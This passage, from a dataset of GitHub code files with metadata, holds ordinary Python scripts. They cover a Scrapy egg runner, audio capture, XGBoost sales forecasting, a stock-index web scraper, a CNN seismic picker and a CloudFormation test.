"usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 18, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 48, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.utils.data", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.utils.data", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.utils.data.Dataset", "line_number": 53, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 53, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 64, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 64, "usage_type": "name"}, {"api_name": "torch.squeeze", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "6309133623", "text": "import sys\r\nimport os\r\nimport pkg_resources\r\nimport subprocess\r\nimport logging\r\nfrom scrapy.utils.project import get_project_settings\r\nfrom scrapy.settings import Settings\r\n\r\nLOGGER = logging.getLogger(__name__)\r\n\r\n\r\ndef activate_egg(eggpath):\r\n \"\"\"Activate a Scrapy egg file. This is meant to be used from egg runners\r\n to activate a Scrapy egg file. Don't use it from other code as it may\r\n leave unwanted side effects.\r\n \"\"\"\r\n\r\n if not os.path.exists(eggpath):\r\n raise FileNotFoundError()\r\n\r\n try:\r\n d = list(pkg_resources.find_distributions(eggpath))[0]\r\n except (StopIteration, IndexError):\r\n raise ValueError(\"Unknown or corrupt egg\")\r\n \r\n d.activate()\r\n settings_module = d.get_entry_info('scrapy', 'settings').module_name\r\n os.environ.setdefault('SCRAPY_SETTINGS_MODULE', settings_module)\r\n return d\r\n\r\n\r\ndef activate_project(egg_path: str = None) -> Settings:\r\n \"\"\"\r\n Activate a scrapy project environment.\r\n This will load settings from current environment ( specified project egg or\r\n inside a project folder), instantiate the Settings, install required package\r\n of the project.\r\n :param egg_path: A project package egg.\r\n :return: Settings : Settings\r\n \"\"\"\r\n # add current path to sys.path, then a settings module can be loaded directly.\r\n sys.path.append('')\r\n \r\n if egg_path:\r\n LOGGER.debug('activating egg %s', egg_path)\r\n distribute = activate_egg(egg_path)\r\n ret = install_requirements(distribute)\r\n if ret > 0:\r\n sys.exit(ret)\r\n settings_module = os.environ.get('SCRAPY_SETTINGS_MODULE')\r\n if settings_module:\r\n settings = Settings()\r\n settings.setmodule(settings_module, priority='project')\r\n else:\r\n settings = get_project_settings()\r\n return settings\r\n\r\n\r\ndef install_requirements(distribute, append_log=False):\r\n requires = [str(x) for x in distribute.requires()]\r\n if requires:\r\n env = os.environ.copy()\r\n # python -W ignore: ignore the python2 deprecate warning.\r\n # pip --disable-pip-version-check: ignore pip version warning.\r\n pargs = [sys.executable, '-W', 'ignore', '-m', 'pip',\r\n '--disable-pip-version-check',\r\n 'install']\r\n pargs += requires\r\n stdout = subprocess.PIPE\r\n if append_log:\r\n stdout = open('pip.log', 'w')\r\n p = subprocess.Popen(pargs, stdout=stdout, stderr=subprocess.PIPE,\r\n env=env)\r\n try:\r\n stdout, stderr = p.communicate(timeout=600)\r\n # ret = p.returncode\r\n return 0\r\n except subprocess.TimeoutExpired:\r\n sys.stderr.write('pip install process timeout:\\n')\r\n return 1\r\n return 0\r\n\r\n\r\ndef execute(argv=None, settings=None):\r\n from scrapy.cmdline import execute as scrapy_execute\r\n scrapy_execute(argv=argv, settings=settings)\r\n\r\n\r\ndef main(argv=None):\r\n egg_path = os.environ.pop('SCRAPY_EGG', None)\r\n settings = activate_project(egg_path=egg_path)\r\n execute(argv=argv, settings=settings)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "repo_name": "pansihub/pancli", "sub_path": "pancli/runner.py", "file_name": "runner.py", "file_ext": "py", "file_size_in_byte": 3188, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pkg_resources.find_distributions", "line_number": 22, "usage_type": "call"}, {"api_name": "os.environ.setdefault", "line_number": 28, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 49, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 50, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 50, "usage_type": "attribute"}, {"api_name": "scrapy.settings.Settings", "line_number": 52, "usage_type": "call"}, {"api_name": "scrapy.utils.project.get_project_settings", "line_number": 55, "usage_type": "call"}, {"api_name": "scrapy.settings.Settings", "line_number": 32, "usage_type": "name"}, {"api_name": "os.environ.copy", "line_number": 62, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sys.executable", "line_number": 65, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 69, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 72, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 72, "usage_type": "attribute"}, {"api_name": "subprocess.TimeoutExpired", "line_number": 78, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 79, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 79, "usage_type": "attribute"}, {"api_name": "scrapy.cmdline.execute", "line_number": 86, "usage_type": "call"}, {"api_name": "os.environ.pop", "line_number": 90, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 90, "usage_type": "attribute"}]} +{"seq_id": "30120292705", "text": "\nfrom multiprocessing import Queue, Process\nimport time\nfrom os import path\nimport speech_recognition as sr\nimport sys\nsys.path.insert(0, \"../SmartApp.HAL\")\nfrom Bindings import HALInterface\n\n\ndef myHandler(queue):\n def handleAudioMessages(audioMessage):\n print(\"Received audio:\\n\\tTimestamp:%d\\n\\tChannels:%d\\n\\tSampleRate:%d\\n\\tBitPerSample:%d\\n\\t%d bytes of data\\n\\n\" %\n (audioMessage.timestamp, audioMessage.channels, audioMessage.sampleRate, audioMessage.bitsPerSample, len(audioMessage.data)))\n queue.put([audioMessage.timestamp, audioMessage.channels, audioMessage.sampleRate, audioMessage.bitsPerSample, audioMessage.data])\n return handleAudioMessages\n\n\ndef receiver(HALAddress, HALAudioPort, queue, testing):\n \"\"\"\n This function implements the communication with the microphone, appending all the message received to a queue.\n :param HALAddress: address of the endpoint\n :param HALAudioPort: port of the endpoint\n :param queue: process shared queue\n :param testing: if is true, read audio sample/register from mic\n \"\"\"\n if testing:\n AUDIO_FILE = path.join(path.dirname(path.realpath(__file__)), \"demo/Trump_We_will_build_a_great_wall.wav\")\n\n r = sr.Recognizer()\n mic = True\n if mic:\n with sr.AudioFile(AUDIO_FILE) as source:\n raw_audio = r.record(source) # read the entire audio file\n else:\n with sr.Microphone() as source:\n r.adjust_for_ambient_noise(source) # listen for 1 second to calibrate the energy threshold for ambient noise levels\n print(\"Say something!\")\n raw_audio = r.listen(source)\n else:\n # create interface object\n hal = HALInterface(HALAddress=HALAddress, HALAudioPort=HALAudioPort)\n\n # Audio\n audioID = hal.registerAsAudioReceiver(myHandler(queue))\n\n while True:\n time.sleep(1)\n", "repo_name": "SmartApplicationUnipi/Smart_ELF", "sub_path": "SmartApp.AV/old/communication.py", "file_name": "communication.py", "file_ext": "py", "file_size_in_byte": 1931, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.path.insert", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 28, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 30, "usage_type": "call"}, {"api_name": "speech_recognition.AudioFile", "line_number": 33, "usage_type": "call"}, {"api_name": "speech_recognition.Microphone", "line_number": 36, "usage_type": "call"}, {"api_name": "Bindings.HALInterface", "line_number": 42, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}]} +{"seq_id": "40274257224", "text": "from setuptools import setup, find_packages\n\nNAME = 'cl_api'\nAUTHOR = 'saladbowl'\n\nINSTALL_REQUIRES = [\n 'requests>=2.27.1'\n]\n\nPACKAGES = [\n 'cl_api'\n]\n\n\nsetup(\n name='cl_api',\n version='1.0.0',\n maintainer=AUTHOR,\n install_requires=INSTALL_REQUIRES,\n packages=PACKAGES\n)", "repo_name": "saladbowl77/cloudflare-api", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 292, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "setuptools.setup", "line_number": 15, "usage_type": "call"}]} +{"seq_id": "16399183745", "text": "import pandas as pd\nimport numpy as np\nimport xgboost as xgb\nimport datetime\nimport lightgbm as lgb\n#from JD.util import WMAE\n#from src.model import buildTrainModel\n#from src.util import kFoldCV\nimport matplotlib as mpl\nmpl.use('Agg')\nimport xgboost as xgb\nimport matplotlib.pyplot as plt\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn import grid_search\nfrom sklearn.metrics import fbeta_score, make_scorer\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import RandomForestRegressor\nfrom mlxtend.regressor import StackingRegressor\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVR\nfrom sklearn import model_selection\nfrom sklearn.linear_model import LogisticRegression\n\n\ndef WMAE(y_true, y_pred):\n return np.sum(np.abs(y_true - y_pred) )/ np.sum(y_true)\n\n# 处理order表\norderData = pd.read_csv(\"../data/t_order.csv\")\norderData[\"date\"] = pd.to_datetime(orderData['ord_dt']) # 解析日期\ndel orderData['ord_dt']\n\n# pid数目统计\n#pnum = orderData[[\"shop_id\", \"pid\", \"date\"]].groupby([\"shop_id\", \"date\"], as_index=False).count().rename(columns={\"pid\":\"pidnum\"})\n#pUniqueNum = orderData[[\"shop_id\", \"pid\", \"date\"]].groupby([\"shop_id\", \"date\"], as_index=False).nunique().rename(columns={\"pid\":\"pid_unique_num\"})\ndel orderData[\"pid\"]\n\norderGroup = orderData.groupby('shop_id', as_index=True).resample('1M', on='date') #按月聚合\n\n# 月加和\norderDataSum = orderGroup.sum()\ndel orderDataSum[\"shop_id\"]\norderDataSum.reset_index(level=['shop_id', 'date'], inplace=True)\n\norder = orderDataSum\n#order = pd.merge(order, pnum, how=\"left\", on=[\"shop_id\", \"date\"])\n#order = pd.merge(order, pUniqueNum, how=\"left\", on=[\"shop_id\", \"date\"])\n\n\norder = order.fillna(order.mean()) # 填补空值\n\n\nprint(\"order data features:\", order.columns)\nprint(\"order data num:\", len(order))\nprint(\"order table finished!\")\n\n# 处理评论表\ncommentData = pd.read_csv(\"../data/t_comment.csv\")\ncommentData[\"date\"] = pd.to_datetime(commentData['create_dt']) # 解析日期\ndel commentData['create_dt']\n\ncommentDataGroup = commentData.groupby('shop_id', as_index=True).resample('1M', on='date') #按月聚合\n\n# 月加和\ncommentDataSum = commentDataGroup.sum()\ndel commentDataSum[\"shop_id\"]\ncommentDataSum.reset_index(level=['shop_id', 'date'], inplace=True)\n\n#commentDataNorm = commentDataSum/orderData[\"ord_cnt\"]\n\ncomment = commentDataSum\ncomment = comment.fillna(comment.mean()) # 填补空值\n\nprint(\"comment data features:\", comment.columns)\nprint(\"comment data num:\", len(comment))\nprint(\"comment tabel finished!\")\n\n# # 处理广告表\nadsData = pd.read_csv(\"../data/t_ads.csv\")\nadsData[\"date\"] = pd.to_datetime(adsData['create_dt']) # 解析日期\ndel adsData['create_dt']\n\nads = adsData.groupby('shop_id', as_index=True).resample('1M', on='date').sum() #按月聚合\ndel ads[\"shop_id\"]\nads.reset_index(level=['shop_id', 'date'], inplace=True)\nads = ads.fillna(ads.mean())\nprint(\"ads data features:\", ads.columns)\nprint(\"ads data num:\", len(ads))\nprint(\"ads table finished!\")\n\n# # 处理商品表\n# productData = pd.read_csv(\"../data/t_product.csv\")\n# distinctNum = productData.groupby(by=[\"shop_id\"])[\"brand\", \"cate\"].nunique() # 统计品牌数目和种类数目\n# distinctNum.reset_index(inplace=True)\n#\n# # 统计每个shop每月的上货数目\n# productData[\"date\"] = pd.to_datetime(productData['on_dt']) # 解析日期\n# productMonth_on = productData.groupby('shop_id', as_index=True)[\"date\", \"pid\"].resample('1M', on='date').count()\n# del productMonth_on[\"date\"]\n# productMonth_on = productMonth_on.reset_index(level=[\"shop_id\", \"date\"]).rename(columns={\"pid\":\"on_num\"})\n#\n# # 统计下货的数目，商品下货日期均为5月1日，因此这是个shop的静态特征\n# productData = productData.dropna()\n# productData[\"date\"] = pd.to_datetime(productData['off_dt']) # 解析日期\n# productMonth_off = pd.DataFrame(np.arange(1,3001), index=np.arange(1, 3001), columns=[\"off_num\"])\n# productMonth_off.index.name=\"shop_id\"\n# productMonth_off[\"off_num\"] = 0\n# productMonth_off_temp = productData.groupby('shop_id', as_index=True)[\"date\", \"pid\"].resample('1M', on='date').count()\n# del productMonth_off_temp[\"date\"]\n# productMonth_off_temp = productMonth_off_temp.reset_index(level=[\"date\"]).rename(columns={\"pid\" : \"off_num\"})\n# del productMonth_off_temp[\"date\"]\n# productMonth_off += productMonth_off_temp\n# productMonth_off.fillna(0, inplace=True)\n# productMonth_off.reset_index(inplace=True)\n#\n# # 统计shop中最多的brand的编码和数量\n# brandNum = productData.groupby([\"shop_id\"])[\"brand\"].value_counts().to_frame('brand_num')\n# brandNum.reset_index(level=['shop_id', 'brand'], inplace=True)\n# brandNum = brandNum.groupby(\"shop_id\").max()\n# brandNum.reset_index(inplace=True)\n# brandNum.rename(columns={\"brand\":\"max_brand\"}, inplace=True)\n#\n# # 统计shop中最多的cate的编码和数量\n# cateNum = productData.groupby([\"shop_id\"])[\"cate\"].value_counts().to_frame('cate_num')\n# cateNum.reset_index(level=['shop_id', 'cate'], inplace=True)\n# cateNum = cateNum.groupby(\"shop_id\").max()\n# cateNum.reset_index(inplace=True)\n# cateNum.rename(columns={\"cate\":\"max_cate\"}, inplace=True)\n#\n# print(\"product data finished!\")\n\n# 链接所有表\ntotalData = pd.merge(order, comment, on=[\"shop_id\", \"date\"], how=\"left\")\ntotalData = pd.merge(totalData, adsData, on=[\"shop_id\", \"date\"], how=\"left\")\n# totalData = pd.merge(totalData, distinctNum, on=\"shop_id\", how=\"left\")\n# totalData = pd.merge(totalData, productMonth_on, on=[\"shop_id\", \"date\"], how=\"left\")\n# totalData = pd.merge(totalData, productMonth_off, on=\"shop_id\", how=\"left\")\n# totalData = pd.merge(totalData, brandNum, on=\"shop_id\", how=\"left\")\n# totalData = pd.merge(totalData, cateNum, on=\"shop_id\", how=\"left\")\n\n\n# 提取月份特征\ntotalData[\"month\"] = totalData[\"date\"].apply(lambda x: x.month)\nprint(\"total features:\", totalData.columns)\nprint(\"total data num:\", len(totalData))\n\n#totalData[\"weight\"] = totalData['sale_amt']/totalData['sale_amt'].sum()\n\n\n# 链接销量表作为label\nsaleData = pd.read_csv(\"../data/t_sales_sum.csv\")\nsaleData[\"date\"] = pd.to_datetime(saleData['dt'])\ndel saleData[\"dt\"]\ntrain = totalData[totalData[\"date\"] <= \"2017-01-31\"]\ntrain = pd.merge(train, saleData, on=[\"shop_id\", \"date\"], how=\"left\")\ntrain = train.fillna(0)\nprint(\"train features:\", train.columns)\nprint(\"train data num:\", len(train))\n\ntest = totalData[totalData[\"date\"] == \"2017-04-30\"] # 4月份的数据作为测试集\ntest = test.fillna(0)\n\n\n\n# 整理train和test以及submit\nfeature_name = [ 'shop_id', 'sale_amt', 'offer_amt', 'offer_cnt',\n 'rtn_cnt', 'rtn_amt', 'ord_cnt', 'user_cnt',\n #'pidnum',\n # 'pid_unique_num',\n 'bad_num',\n 'cmmt_num', 'dis_num', 'good_num', 'mid_num',\n 'charge', 'consume',\n # 'brand', 'cate',\n #'on_num', 'off_num', \"brand_num\", \"cate_num\", \"max_cate\", \"max_brand\",\n #'month'\n #'weight'\n ]\n# feature_name = ['shop_id', 'sale_amt', 'offer_amt', 'offer_cnt',\n# 'rtn_cnt', 'rtn_amt', 'ord_cnt', 'user_cnt',\n# 'sale_amt_mean', 'offer_amt_mean', 'offer_cnt_mean', 'rtn_cnt_mean',\n# 'rtn_amt_mean', 'ord_cnt_mean', 'user_cnt_mean',\n# 'sale_amt_min', 'offer_amt_min', 'offer_cnt_min', 'rtn_cnt_min',\n# 'rtn_amt_min', 'ord_cnt_min', 'user_cnt_min', 'sale_amt_std',\n# 'offer_amt_std', 'offer_cnt_std', 'rtn_cnt_std', 'rtn_amt_std',\n# 'ord_cnt_std', 'user_cnt_std', 'sale_amt_median', 'offer_amt_median',\n# 'offer_cnt_median', 'rtn_cnt_median', 'rtn_amt_median',\n# 'ord_cnt_median', 'user_cnt_median', 'bad_num', 'cmmt_num',\n# 'dis_num', 'good_num', 'mid_num', 'bad_num_mean',\n# 'cmmt_num_mean', 'dis_num_mean', 'good_num_mean', 'mid_num_mean', 'bad_num_min',\n# 'cmmt_num_min', 'dis_num_min', 'good_num_min', 'mid_num_min',\n# 'bad_num_median', 'cmmt_num_median', 'dis_num_median',\n# 'good_num_median', 'mid_num_median', 'charge', 'consume', 'brand',\n# 'cate', 'on_num', 'month']\n\ntrainx = train[feature_name]\ntrainy = train[\"sale_amt_3m\"]\n\ntest = test[feature_name]\n\nsubmit = pd.DataFrame()\nsubmit[\"shop_id\"] = test[\"shop_id\"]\n\n#trainy = np.log1p(trainy)\n\n\n\n# 网格搜索\n# print(\"网格搜索\")\n# lossFunc = make_scorer(WMAE, greater_is_better=False)\n# model = xgb.XGBRegressor(objective=\"reg:linear\")\n# params = {\"learning_rate\": [0.5, 0.1, 0.01], \"max_depth\": [10, 20, 30], \"n_estimators\":[100, 200, 250]}\n# gsearch = grid_search.GridSearchCV(estimator=model, param_grid=params, scoring=\"neg_mean_squared_error\", cv=3)\n#\n# gsearch.fit(trainx, trainy)\n# print(\"best param:\", gsearch.best_params_)\n# print(\"best score:\", gsearch.best_score_)\n\nprint(\"验证\")\nscores = []\nk = 10\nfor i in range(k):\n\n train_x, val_x, train_y, val_y = train_test_split(trainx, trainy, test_size=1/k)\n model = xgb.XGBRegressor(objective=\"reg:linear\",\n learning_rate=0.1, #gsearch.best_params_['learning_rate'],\n max_depth=5, #gsearch.best_params_['max_depth'],\n n_estimators=50, # gsearch.best_params_['n_estimators'],\n silent=True,\n colsample_bytree=0.9,\n )\n model.fit(train_x, train_y)\n pre = model.predict(val_x)\n score = WMAE(val_y, pre)\n scores.append(score)\nprint(\"valid scores:\", scores)\nprint(\"mean score:\", np.mean(scores))\n\n# 测试\nprint(\"训练预测\")\nmodel = xgb.XGBRegressor(objective=\"reg:linear\",\n learning_rate=0.1, # gsearch.best_params_['learning_rate'],\n max_depth=5, # gsearch.best_params_['max_depth'],\n n_estimators=50, # gsearch.best_params_['n_estimators'],\n silent=True,\n colsample_bytree=0.9,\n )\nmodel.fit(trainx, trainy)\nresult = model.predict(test)\nsubmit['prediction'] = result\nsubmit.to_csv(\"../xgb_result.csv\", index=False)\nprint(\"predicting finished!\")\n\n\n\n\n\n\n# train_x, val_x, train_y, val_y = train_test_split(trainx, trainy, test_size=0.2)\n#\n# val_weight = val_x[\"weight\"]\n# train_weight = train_x[\"weight\"]\n# del val_x[\"weight\"]\n# del train_x[\"weight\"]\n#\n# del trainx[\"weight\"]\n#\n# xgb_all = xgb.DMatrix(trainx, label=trainy)\n# xgb_val = xgb.DMatrix(val_x, label=val_y)\n# xgb_train = xgb.DMatrix(train_x, label=train_y)\n# xgb_test = xgb.DMatrix(test)\n# watch_list=[(xgb_val,'eval'),(xgb_train,'train')]\n#\n# param = {'max_depth': 10, 'eta': 0.1, 'silent': 1, 'objective': 'reg:linear'}\n\n#bst = xgb.train(param, xgb_train, num_boost_round=250, evals=watch_list)\n#\n# result=bst.predict(xgb_test)\n# submit['prediction'] = result\n# submit.to_csv(\"../xgb_result_2.csv\", index=False)\n# print(\"predicting finished!\")\n\n\n\n\n", "repo_name": "zhangxu0307/JDD-sale-forecasting", "sub_path": "src/sale_forecast_1.py", "file_name": "sale_forecast_1.py", "file_ext": "py", "file_size_in_byte": 10855, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matplotlib.use", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 30, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 59, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 80, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 133, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 134, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 151, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 152, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 155, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 200, "usage_type": "call"}, {"api_name": "sklearn.cross_validation.train_test_split", "line_number": 223, "usage_type": "call"}, {"api_name": "xgboost.XGBRegressor", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 236, "usage_type": "call"}, {"api_name": "xgboost.XGBRegressor", "line_number": 240, "usage_type": "call"}]} +{"seq_id": "2332326389", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport redis\n\nredis_instance = redis.StrictRedis(host='localhost', port=6379, db=0)\n\ndef scrape_and_store_data():\n try:\n url = \"https://www.nseindia.com/\"\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\"\n }\n response = requests.get(url, headers=headers)\n soup = BeautifulSoup(response.content, \"html.parser\")\n\n # Assuming the data is in a table with class \"nifty-table\"\n table = soup.find(\"table\", class_=\"nifty-table\")\n rows = table.find_all(\"tr\")\n\n # Process the rows and extract the data you need\n scraped_data = []\n for row in rows:\n cells = row.find_all(\"td\")\n if cells:\n # Assuming the first cell contains the name and the second cell contains the value\n name = cells[0].text.strip()\n value = cells[1].text.strip()\n scraped_data.append({\"name\": name, \"value\": value})\n\n # Store the scraped data in Redis\n redis_instance.set(\"nifty_data\", scraped_data)\n print(\"Data stored in Redis:\", scraped_data)\n\n except Exception as e:\n print(\"Error while scraping data:\", e)\n", "repo_name": "Pakhilaad/doqfy_assignment", "sub_path": "web_scraper_project/web_scraper_app/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 1315, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "redis.StrictRedis", "line_number": 5, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "11361561561", "text": "#!/usr/bin/env python3\nimport numpy as np\nimport sys\nimport torch\nimport time\nfrom cnnnet import CNNNet\n\ndef load_text_file(file_name : str) -> list:\n \n signal1 = []\n signal2 = []\n signal3 = []\n signal4 = []\n with open(file_name) as f:\n lines = f.readlines()\n for l in lines:\n s1, s2, s3, s4 = l.split(',')\n signal1.append(float(s1))\n signal2.append(float(s2))\n signal3.append(float(s3))\n signal4.append(float(s4))\n return [np.asarray(signal1), np.asarray(signal2), np.asarray(signal3),\n np.asarray(signal4)]\n\ndef rescale(v : np.array) -> np.array:\n norm = np.max(np.abs(v))\n if (norm < 1.e-10):\n norm = 0\n else:\n norm = 1/norm\n return v*norm\n\nif __name__ == \"__main__\":\n min_perturbation =-0.75\n max_perturbation = 0.75\n num_channels = 1\n signal_length = 400 \n model_file = 'pPicker_seed1_model25.pt' #'model_007.pt'\n vertical_file = '../../../testing/data/pickers/cnnOneComponentP/cnnnetTestInputs.txt'\n output_file = '../../../testing/data/pickers/cnnOneComponentP/cnnnetTestOutputs.txt'\n \n\n print(\"Loading vertical signals...\")\n signals = load_text_file(vertical_file)\n\n print(\"Loading torch file...\")\n cnnnet = CNNNet(num_channels = num_channels,\n min_lag = min_perturbation,\n max_lag = max_perturbation)\n try:\n check_point = torch.load(model_file)\n cnnnet.load_state_dict(check_point['state_dict']) # change from model_state_dict to state_dict\n cnnnet.eval() # Convert model to evaluation mode\n except Exception as e:\n print(\"Failed to load model. Failed with: {}\".format(str(e)))\n sys.exit(1)\n\n # Open output file \n ofl = open(output_file, 'w')\n # Evaluate the model\n print(\"Evaluating model for single instance...\")\n X_temp = np.zeros([1, signal_length, num_channels])\n for signal in signals:\n assert len(signal) == signal_length, 'invalid signal length'\n X_temp[0, :, 0] = rescale(signal[0:signal_length])\n X = torch.from_numpy(X_temp.transpose(0, 2, 1)).float()\n t0 = time.perf_counter()\n p_torch = cnnnet.forward(X)\n t1 = time.perf_counter()\n print(\"Evaluation time: {} (s)\".format(t1 - t0))\n perturbation = p_torch.squeeze().to('cpu').detach().numpy()\n ofl.write('{}\\n'.format(perturbation))\n ofl.close()\n", "repo_name": "uofuseismo/mlmodels", "sub_path": "pickers/cnnOneComponentP/models/generateReference.py", "file_name": "generateReference.py", "file_ext": "py", "file_size_in_byte": 2448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.asarray", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 26, "usage_type": "call"}, {"api_name": "cnnnet.CNNNet", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 51, "usage_type": "call"}, {"api_name": "cnnnet.load_state_dict", "line_number": 52, "usage_type": "call"}, {"api_name": "cnnnet.eval", "line_number": 53, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 66, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 67, "usage_type": "call"}, {"api_name": "cnnnet.forward", "line_number": 68, "usage_type": "call"}, {"api_name": "time.perf_counter", "line_number": 69, "usage_type": "call"}]} +{"seq_id": "23131847555", "text": "\"\"\"Provide Cloudformation construct tests.\"\"\"\n\nfrom __future__ import annotations\n\nimport os\nfrom typing import TYPE_CHECKING\n\nfrom e3.aws import AWSEnv\nfrom e3.aws.troposphere import CFNProjectMain\nfrom e3.aws.troposphere.iam.role import Role\n\n\nif TYPE_CHECKING:\n from e3.aws.troposphere import Stack\n\n\nTEST_DIR = os.path.dirname(os.path.abspath(__file__))\n\n\nclass MyCFNProject(CFNProjectMain):\n \"\"\"Provide CLI to manage MyCFNProject.\"\"\"\n\n def create_stack(self) -> list[Stack]:\n \"\"\"Return MyCFNProject stack.\"\"\"\n self.add(\n (\n Role(\n name=\"TestRole\",\n description=\"TestRole description\",\n trust={\"Service\": \"test\"},\n )\n )\n )\n return self.stack\n\n\ndef test_cfn_project_main(capfd) -> None:\n \"\"\"Test CFNProjectMain.\"\"\"\n aws_env = AWSEnv(regions=[\"eu-west-1\"], stub=True)\n test = MyCFNProject(\n name=\"TestProject\",\n account_id=\"12345678\",\n stack_description=\"TestStack\",\n s3_bucket=\"cfn-test-deploy-bucket\",\n regions=[\"eu-west-1\"],\n )\n test.execute(args=[\"show\"], aws_env=aws_env)\n\n captured = capfd.readouterr()\n print(captured.out)\n with open(os.path.join(TEST_DIR, \"cfn_project_test.out\")) as f_out:\n assert captured.out == f_out.read()\n", "repo_name": "AdaCore/e3-aws", "sub_path": "tests/tests_e3_aws/troposphere/cfn_project_test.py", "file_name": "cfn_project_test.py", "file_ext": "py", "file_size_in_byte": 1350, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", 